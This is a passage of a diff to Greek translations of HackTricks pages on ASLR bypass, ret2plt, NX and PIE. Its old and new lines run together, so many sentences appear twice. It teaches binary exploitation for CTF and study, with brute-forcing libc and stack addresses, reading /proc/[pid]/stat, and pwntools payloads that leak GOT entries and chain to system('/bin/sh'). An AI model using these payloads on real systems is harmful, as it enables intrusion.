* **Κώδικας και δεδομένα** (αρχικοποιημένα και μη αρχικοποιημένα): `.text`, `.data`, και `.bss` —> **16 bits** εντροπίας στη μεταβλητή `delta_exec`. Αυτή η μεταβλητή αρχικοποιείται τυχαία με κάθε διαδικασία και προστίθεται στις αρχικές διευθύνσεις.
* **Μνήμη** που έχει κατανεμηθεί από το `mmap()` και **κοινές βιβλιοθήκες** —> **16 bits**, ονομάζεται `delta_mmap`.
* **Η στοίβα** —> **24 bits**, αναφέρεται ως `delta_stack`. Ωστόσο, χρησιμοποιεί αποτελεσματικά **11 bits** (από το 10ο έως το 20ό byte συμπεριλαμβανομένου), ευθυγραμμισμένο σε **16 bytes** —> Αυτό έχει ως αποτέλεσμα **524,288 δυνατές πραγματικές διευθύνσεις στοίβας**.
Τα προηγούμενα δεδομένα αφορούν συστήματα 32-bit και η μειωμένη τελική εντροπία καθιστά δυνατή την παράκαμψη του ASLR με επαναλαμβανόμενη εκτέλεση μέχρι η εκμετάλλευση να ολοκληρωθεί με επιτυχία.
Τα προηγούμενα δεδομένα αφορούν συστήματα 32-bit και η μειωμένη τελική εντροπία καθιστά δυνατή την παράκαμψη του ASLR δοκιμάζοντας την εκτέλεση ξανά και ξανά μέχρι να ολοκληρωθεί επιτυχώς η εκμετάλλευση.
#### Ιδέες για βίαιη εξαναγκαστική επίθεση:
#### Ιδέες brute-force:
* Αν έχετε ένα αρκετά μεγάλο υπερχείλισμα για να φιλοξενήσετε ένα **μεγάλο NOP sled πριν το shellcode**, μπορείτε απλά να εξαναγκάσετε διευθύνσεις στη στοίβα μέχρι η ροή να **παραβιάσει κάποιο τμήμα του NOP sled**.
* Μια άλλη επιλογή γι' αυτό σε περίπτωση που το υπερχείλισμα δεν είναι τόσο μεγάλο και η εκμετάλλευση μπορεί να εκτελεστεί τοπικά είναι να **προστεθεί το NOP sled και το shellcode σε μεταβλητή περιβάλλοντος**.
* Αν η εκμετάλλευση είναι τοπική, μπορείτε να δοκιμάσετε να εξαναγκάσετε τη βασική διεύθυνση της libc (χρήσιμο για συστήματα 32bit):
* Αν έχετε μια αρκετά μεγάλη υπερχείλιση για να φιλοξενήσει μια **μεγάλη NOP sled πριν από το shellcode**, θα μπορούσατε απλώς να δοκιμάσετε διευθύνσεις στη στοίβα μέχρι η ροή **να πηδήξει πάνω από κάποιο μέρος της NOP sled**.
* Μια άλλη επιλογή για αυτό σε περίπτωση που η υπερχείλιση δεν είναι τόσο μεγάλη και η εκμετάλλευση μπορεί να εκτελείται τοπικά είναι να **προσθέσετε την NOP sled και το shellcode σε μια μεταβλητή περιβάλλοντος**.
* Αν η εκμετάλλευση είναι τοπική, μπορείτε να προσπαθήσετε να δοκιμάσετε τη βασική διεύθυνση της libc (χρήσιμο για συστήματα 32bit):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
* Εάν επιτεθείτε σε ένα απομακρυσμένο διακομιστή, μπορείτε να δοκιμάσετε να **δοκιμάσετε με βία τη διεύθυνση της συνάρτησης `usleep` της `libc`**, περνώντας ως όρισμα τον αριθμό 10 (για παράδειγμα). Εάν σε κάποιο σημείο ο **διακομιστής καθυστερεί 10 δευτερόλεπτα περισσότερο για να ανταποκριθεί**, τότε βρήκατε τη διεύθυνση αυτής της συνάρτησης.
* Αν επιτίθεστε σε έναν απομακρυσμένο διακομιστή, μπορείτε να προσπαθήσετε να **σπάσετε τη διεύθυνση της συνάρτησης `usleep` της `libc`**, περνώντας ως επιχείρημα 10 (για παράδειγμα). Αν σε κάποιο σημείο ο **διακομιστής χρειαστεί 10 δευτερόλεπτα επιπλέον για να απαντήσει**, βρήκατε τη διεύθυνση αυτής της συνάρτησης.
{% hint style="success" %}
Στα 64bit συστήματα η εντροπία είναι πολύ υψηλότερη και αυτό δεν είναι δυνατό.
Σε συστήματα 64bit η εντροπία είναι πολύ υψηλότερη και αυτό δεν είναι δυνατό.
{% endhint %}
### Τοπικές Πληροφορίες (`/proc/[pid]/stat`)
Το αρχείο **`/proc/[pid]/stat`** ενός διεργασίας είναι πάντα προσβάσιμο από όλους και περιέχει ενδιαφέρουσες πληροφορίες όπως:
Το αρχείο **`/proc/[pid]/stat`** μιας διαδικασίας είναι πάντα αναγνώσιμο από όλους και **περιέχει ενδιαφέρουσες** πληροφορίες όπως:
* **startcode** & **endcode**: Διευθύνσεις πάνω και κάτω από το **TEXT** του δυαδικού
* **startstack**: Η διεύθυνση της αρχής του **stack**
* **start\_data** & **end\_data**: Διευθύνσεις πάνω και κάτω από όπου βρίσκεται το **BSS**
* **startcode** & **endcode**: Διευθύνσεις πάνω και κάτω με το **TEXT** του δυαδικού
* **startstack**: Η διεύθυνση της αρχής της **στοίβας**
* **start\_data** & **end\_data**: Διευθύνσεις πάνω και κάτω όπου είναι το **BSS**
* **kstkesp** & **kstkeip**: Τρέχουσες διευθύνσεις **ESP** και **EIP**
* **arg\_start** & **arg\_end**: Διευθύνσεις πάνω και κάτω από όπου βρίσκονται οι **παράμετροι της γραμμής εντολών**
* **env\_start** & **env\_end**: Διευθύνσεις πάνω και κάτω από όπου βρίσκονται οι **μεταβλητές περιβάλλοντος**
* **arg\_start** & **arg\_end**: Διευθύνσεις πάνω και κάτω όπου είναι τα **cli arguments**.
* **env\_start** &**env\_end**: Διευθύνσεις πάνω και κάτω όπου είναι οι **env variables**.
Έτσι, εάν ο επιτιθέμενος βρίσκεται στον ίδιο υπολογιστή με το δυαδικό που εκμεταλλεύεται και αυτό το δυαδικό δεν περιμένει την υπερχείλιση από ωμές παραμέτρους, αλλά από μια διαφορετική **είσοδο που μπορεί να δημιουργηθεί μετά την ανάγνωση αυτού του αρχείου**. Είναι δυνατό για έναν επιτιθέμενο να **πάρει μερικές διευθύνσεις από αυτό το αρχείο και να κατασκευάσει μετατοπίσεις από αυτές για την εκμετάλλευση**.
Επομένως, αν ο επιτιθέμενος βρίσκεται στον ίδιο υπολογιστή με το δυαδικό που εκμεταλλεύεται και αυτό το δυαδικό δεν περιμένει την υπερχείλιση από τις ακατέργαστες παραμέτρους, αλλά από μια διαφορετική **είσοδο που μπορεί να κατασκευαστεί μετά την ανάγνωση αυτού του αρχείου**. Είναι δυνατό για έναν επιτιθέμενο να **πάρε κάποια διευθύνσεις από αυτό το αρχείο και να κατασκευάσει offsets από αυτές για την εκμετάλλευση**.
{% hint style="success" %}
Για περισσότερες πληροφορίες σχετικά με αυτό το αρχείο ελέγξτε το [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) αναζητώντας το `/proc/pid/stat`
Για περισσότερες πληροφορίες σχετικά με αυτό το αρχείο, ελέγξτε [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) αναζητώντας το `/proc/pid/stat`
{% endhint %}
### Έχοντας μια διαρροή
* **Η πρόκληση είναι να δοθεί μια διαρροή**
* **Η πρόκληση είναι να δώσετε μια διαρροή**
Εάν σας δίνεται μια διαρροή (εύκολες προκλήσεις CTF), μπορείτε να υπολογίσετε μετατοπίσεις από αυτήν (υποθέτοντας για παράδειγμα ότι γνωρίζετε την ακριβή έκδοση της `libc` που χρησιμοποιείται στο σύστημα που εκμεταλλεύεστε). Αυτό το παράδειγμα εκμετάλλευσης εξάγεται από το [**παράδειγμα από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (ελέγξτε αυτήν τη σελίδα για περισσότερες λεπτομέρειες):
Αν σας δοθεί μια διαρροή (εύκολες προκλήσεις CTF), μπορείτε να υπολογίσετε offsets από αυτήν (υποθέτοντας για παράδειγμα ότι γνωρίζετε την ακριβή έκδοση της libc που χρησιμοποιείται στο σύστημα που εκμεταλλεύεστε). Αυτό το παράδειγμα εκμετάλλευσης είναι αποσπασμένο από το [**παράδειγμα από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (ελέγξτε αυτή τη σελίδα για περισσότερες λεπτομέρειες):
```python
from pwn import *
@ -135,7 +136,7 @@ p.interactive()
```
* **ret2plt**
Κατάχρηση ενός buffer overflow θα ήταν δυνατό να εκμεταλλευτείτε ένα **ret2plt** για να εξαγάγετε μια διεύθυνση μιας συνάρτησης από την libc. Ελέγξτε:
Καταχρώντας μια υπερχείλιση buffer, θα ήταν δυνατό να εκμεταλλευτεί κανείς ένα **ret2plt** για να εξάγει μια διεύθυνση μιας συνάρτησης από τη libc. Έλεγχος:
{% content-ref url="ret2plt.md" %}
[ret2plt.md](ret2plt.md)
@ -143,7 +144,7 @@ p.interactive()
* **Format Strings Arbitrary Read**
Όπως και στο ret2plt, εάν έχετε ένα αυθαίρετο διάβασμα μέσω μιας ευπάθειας format strings, είναι δυνατό να εξάγετε τη διεύθυνση μιας **συνάρτησης της libc** από το GOT. Το ακόλουθο [**παράδειγμα είναι από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
Ακριβώς όπως στο ret2plt, αν έχετε μια αυθαίρετη ανάγνωση μέσω μιας ευπάθειας format strings, είναι δυνατό να εξάγετε τη διεύθυνση μιας **libc function** από το GOT. Το παρακάτω [**παράδειγμα είναι από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
@ -154,7 +155,7 @@ payload += b'%3$s' # The third parameter points at the start of the
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με την ανάγνωση αυθαίρετων δεδομένων με format strings στο:
Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με το Format Strings arbitrary read στο:
{% content-ref url="../../format-strings/" %}
[format-strings](../../format-strings/)
@ -162,8 +163,23 @@ payload += p32(elf.symbols['main'])
### Ret2ret & Ret2pop
Προσπαθήστε να παρακάμψετε το ASLR καταχρώμενοι διευθύνσεις μέσα στο stack:
Δοκιμάστε να παρακάμψετε το ASLR εκμεταλλευόμενοι διευθύνσεις μέσα στη στοίβα:
{% content-ref url="../../stack-overflow/ret2ret.md" %}
[ret2ret.md](../../stack-overflow/ret2ret.md)
{% endcontent-ref %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# Ret2plt
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Βασικές Πληροφορίες
## Basic Information
Ο στόχος αυτής της τεχνικής θα ήταν να **διαρρεύσετε μια διεύθυνση από μια συνάρτηση από το PLT** για να μπορέσετε να παρακάμψετε το ASLR. Αυτό συμβαίνει επειδή, για παράδειγμα, αν διαρρεύσετε τη διεύθυνση της συνάρτησης `puts` από την libc, τότε μπορείτε στη συνέχεια να **υπολογίσετε πού βρίσκεται η βάση της `libc`** και να υπολογίσετε τις μετατοπίσεις για να έχετε πρόσβαση σε άλλες συναρτήσεις όπως η **`system`**.
Ο στόχος αυτής της τεχνικής θα ήταν να **διαρρεύσει μια διεύθυνση από μια συνάρτηση από το PLT** για να μπορέσει να παρακάμψει το ASLR. Αυτό συμβαίνει επειδή αν, για παράδειγμα, διαρρεύσετε τη διεύθυνση της συνάρτησης `puts` από τη libc, μπορείτε στη συνέχεια να **υπολογίσετε πού είναι η βάση της `libc`** και να υπολογίσετε offsets για να αποκτήσετε πρόσβαση σε άλλες συναρτήσεις όπως **`system`**.
Αυτό μπορεί να γίνει με ένα φορτωτή `pwntools` όπως ([**από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
Αυτό μπορεί να γίνει με ένα payload `pwntools` όπως ([**από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
```python
# 32-bit ret2plt
payload = flat(
@ -37,12 +38,12 @@ elf.plt['puts'],
elf.symbols['main']
)
```
Σημειώστε πώς η **`puts`** (χρησιμοποιώντας τη διεύθυνση από το PLT) καλείται με τη διεύθυνση του `puts` που βρίσκεται στο `GOT`. Αυτό συμβαίνει επειδή μέχρι τη στιγμή που η `puts` εκτυπώνει την εγγραφή του `GOT`, αυτή η **εγγραφή θα περιέχει τη διεύθυνση του `puts` στη μνήμη**.
Σημειώστε πώς η **`puts`** (χρησιμοποιώντας τη διεύθυνση από το PLT) καλείται με τη διεύθυνση της `puts` που βρίσκεται στο GOT (Global Offset Table). Αυτό συμβαίνει επειδή μέχρι τη στιγμή που η `puts` εκτυπώνει την εγγραφή του GOT της `puts`, αυτή η **εγγραφή θα περιέχει τη ακριβή διεύθυνση της `puts` στη μνήμη**.
Επίσης, σημειώστε πώς η διεύθυνση του `main` χρησιμοποιείται στην εκμετάλλευση, έτσι ώστε όταν η `puts` ολοκληρώσει την εκτέλεσή της, το **δυαδικό καλεί ξανά το `main` αντί να τερματίσει** (έτσι η διαρροή διευθύνσεων θα παραμείνει έγκυρη).
Επίσης, σημειώστε πώς η διεύθυνση της `main` χρησιμοποιείται στην εκμετάλλευση, έτσι ώστε όταν η `puts` ολοκληρώσει την εκτέλεσή της, το **δυαδικό αρχείο καλεί ξανά την `main` αντί να τερματίσει** (έτσι η διαρροή διεύθυνσης θα παραμείνει έγκυρη).
{% hint style="danger" %}
Σημειώστε πώς για να λειτουργήσει αυτό, το **δυαδικό δεν μπορεί να έχει μεταγλωττιστεί με PIE** ή πρέπει να έχετε **βρει μια διαρροή για να παρακάμψετε το PIE** ώστε να γνωρίζετε τη διεύθυνση του `PLT`, `GOT` και `main`.
Σημειώστε πώς για να λειτουργήσει αυτό, το **δυαδικό αρχείο δεν μπορεί να έχει μεταγλωττιστεί με PIE** ή πρέπει να έχετε **βρει μια διαρροή για να παρακάμψετε το PIE** προκειμένου να γνωρίζετε τη διεύθυνση του PLT, GOT και `main`. Διαφορετικά, πρέπει πρώτα να παρακάμψετε το PIE.
{% endhint %}
Μπορείτε να βρείτε ένα [**πλήρες παράδειγμα αυτής της παράκαμψης εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Αυτή ήταν η τελική εκμετάλλευση από αυτό το παράδειγμα:
@ -84,6 +85,21 @@ p.interactive()
## Άλλα παραδείγματα & Αναφορές
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
* 64 bit, ενεργοποιημένο ASLR αλλά χωρίς PIE, το πρώτο βήμα είναι να γεμίσετε ένα υπερχείλισμα μέχρι το byte 0x00 του canary και στη συνέχεια να καλέσετε την puts για να το διαρρεύσετε. Με το canary δημιουργείται ένα ROP gadget για να καλέσετε την puts και να διαρρεύσετε τη διεύθυνση της puts από το GOT και ένα ROP gadget για να καλέσετε `system('/bin/sh')`
* 64 bit, ενεργοποιημένο ASLR αλλά χωρίς PIE, το πρώτο βήμα είναι να γεμίσετε μια υπερχείλιση μέχρι το byte 0x00 του canary για να καλέσετε στη συνέχεια το puts και να διαρρεύσετε. Με το canary δημιουργείται ένα ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και ένα ROP gadget για να καλέσει το `system('/bin/sh')`
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
* 64 bits, ενεργοποιημένο ASLR, χωρίς canary, υπερχείλισμα στο stack στη main από μια υπο-συνάρτηση. ROP gadget για να καλέσετε την puts και να διαρρεύσετε τη διεύθυνση της puts από το GOT και στη συνέχεια να καλέσετε ένα one gadget.
* 64 bits, ενεργοποιημένο ASLR, χωρίς canary, υπερχείλιση στο stack από μια παιδική συνάρτηση. ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και στη συνέχεια να καλέσει ένα one gadget.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,26 +1,42 @@
# No-exec / NX
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Βασικές Πληροφορίες
## Basic Information
Το **No-Execute (NX)** bit, γνωστό και ως **Execute Disable (XD)** στην ορολογία της Intel, είναι μια υλικού βάσης λειτουργία ασφαλείας σχεδιασμένη για να **αντιμετωπίσει** τις επιπτώσεις των επιθέσεων **buffer overflow**. Όταν εφαρμόζεται και ενεργοποιείται, διακρίνει μεταξύ περιοχών μνήμης που προορίζονται για **εκτελέσιμο κώδικα** και αυτών που προορίζονται για **δεδομένα**, όπως η **στοίβα** και το **σωρό**. Η βασική ιδέα είναι να αποτρέψει έναν επιτιθέμενο από το να εκτελέσει κακόβουλο κώδικα μέσω ευπαθειών buffer overflow τοποθετώντας τον κακόβουλο κώδικα στη στοίβα, για παράδειγμα, και καθοδηγώντας τη ροή εκτέλεσης προς αυτόν.
Το **No-Execute (NX)** bit, γνωστό και ως **Execute Disable (XD)** στην ορολογία της Intel, είναι μια χαρακτηριστική ασφάλειας βασισμένη σε υλικό που έχει σχεδιαστεί για να **μειώνει** τις επιπτώσεις των επιθέσεων **buffer overflow**. Όταν εφαρμοστεί και ενεργοποιηθεί, διακρίνει μεταξύ περιοχών μνήμης που προορίζονται για **εκτελέσιμο κώδικα** και εκείνων που προορίζονται για **δεδομένα**, όπως η **στοίβα** και η **σωρός**. Η βασική ιδέα είναι να αποτραπεί η εκτέλεση κακόβουλου κώδικα από έναν επιτιθέμενο μέσω ευπαθειών buffer overflow, τοποθετώντας τον κακόβουλο κώδικα στη στοίβα, για παράδειγμα, και κατευθύνοντας τη ροή εκτέλεσης σε αυτόν.
## Παρακάμψεις
## Bypasses
* Είναι δυνατόν να χρησιμοποιηθούν τεχνικές όπως το [**ROP**](../stack-overflow/rop-return-oriented-programing.md) για να παρακαμφθεί αυτή η προστασία εκτελώντας τμήματα εκτελέσιμου κώδικα που υπάρχουν ήδη στο δυαδικό αρχείο.
* [**Ret2libc**](https://github.com/carlospolop/hacktricks/blob/gr/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md)
* [**Ret2syscall**](https://github.com/carlospolop/hacktricks/blob/gr/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md)
* Είναι δυνατόν να χρησιμοποιηθούν τεχνικές όπως [**ROP**](../stack-overflow/rop-return-oriented-programing.md) για να παρακαμφθεί αυτή η προστασία εκτελώντας κομμάτια εκτελέσιμου κώδικα που είναι ήδη παρόντα στο δυαδικό.
* [**Ret2libc**](../stack-overflow/ret2lib/)
* [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
* **Ret2...**
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,56 +1,58 @@
# PIE
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Βασικές Πληροφορίες
## Basic Information
Ένα δυαδικό που έχει μεταγλωττιστεί ως PIE, ή **Position Independent Executable**, σημαίνει ότι το **πρόγραμμα μπορεί να φορτωθεί σε διαφορετικές θέσεις μνήμης** κάθε φορά που εκτελείται, αποτρέποντας τις σκληροκωδικοποιημένες διευθύνσεις.
Ένα δυαδικό αρχείο που έχει μεταγλωττιστεί ως PIE, ή **Position Independent Executable**, σημαίνει ότι το **πρόγραμμα μπορεί να φορτωθεί σε διαφορετικές διευθύνσεις μνήμης** κάθε φορά που εκτελείται, αποτρέποντας τις σκληροκωδικοποιημένες διευθύνσεις.
